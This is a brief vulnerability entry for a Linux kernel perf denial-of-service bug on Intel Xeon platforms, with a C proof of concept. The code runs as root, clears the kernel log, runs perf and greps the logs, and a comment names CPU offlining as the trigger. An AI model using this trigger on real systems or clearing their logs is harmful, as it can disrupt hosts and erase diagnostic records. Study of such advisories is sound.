CVE-2026-43344 Linux内核perf组件拒绝服务漏洞

/* * PoC for CVE-2026-43344 * Trigger Condition: CPU offline or NUMA disabled on Intel SPR/EMR platforms. * This code attempts to illustrate the scenario where uncore init fails. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> void simulate_trigger() { // In a real environment, an attacker would offline specific CPUs // associated with the UBOX device before triggering the init path. // e.g., echo 0 > /sys/devices/system/cpu/cpuX/online printf("[+] Simulating CPU offline state..."); system("dmesg -c > /dev/null"); // Clear dmesg // Triggering the perf subsystem to initialize uncore // This requires specific hardware (Intel Xeon Scalable) system("perf stat -e uncore_imc_0/cas_count_read/ sleep 0.1 2>&1"); printf("[+] Checking kernel logs for Die ID lookup failures..."); system("dmesg | grep -i 'die\|uncore\|pci2phy'"); } int main() { if (geteuid() != 0) { printf("[!] This PoC requires root privileges to manipulate CPU state and read dmesg."); return 1; } simulate_trigger(); return 0; }